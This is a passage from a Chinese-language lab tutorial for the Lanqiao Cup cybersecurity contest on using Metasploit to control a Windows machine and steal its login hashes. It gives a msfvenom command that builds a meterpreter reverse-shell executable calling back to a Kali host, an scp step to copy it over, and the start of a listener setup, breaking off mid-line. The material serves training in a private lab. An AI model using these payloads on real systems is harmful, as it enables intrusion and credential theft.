蓝桥杯-网络安全比赛（6） 模拟实验 Metasploit 控制并获取Windows 登录HASH、LM Hash和NTLM Hash密文解析

窃取WINDOWS账号密码

系统环境：主机（Windows系统 IP：192.168.126.129)，虚拟机（KALI系统 IP：192.168.126.3），两者需要能通过本地网络互通互连。
攻击工具：Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。

控制Windows系统

1. 生成反弹型木马
   进入KALI系统，使用以下代码生成程序，反弹到的监听端地址为192.168.126.3，监听端口为12345，文件输出格式为exe并保存到当前路径\~下
   

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.3 LPORT=12345 -f exe -o shell.exe

2. 在本地通过GIT BASH或其它BASH程序使用SCP命令拉取代码到D盘根目录.
   

scp root@192.168.126.3:/root/shell.exe /d

4. 返回KALI，并开启监听程序
   

msfconsole #进入Metasploit组件
use exploit/multi/handler #使用反向Shell模块,用于接收反弹的Shell
set paload windows/x64/meterpreter/reverse_tcp #它一种常见的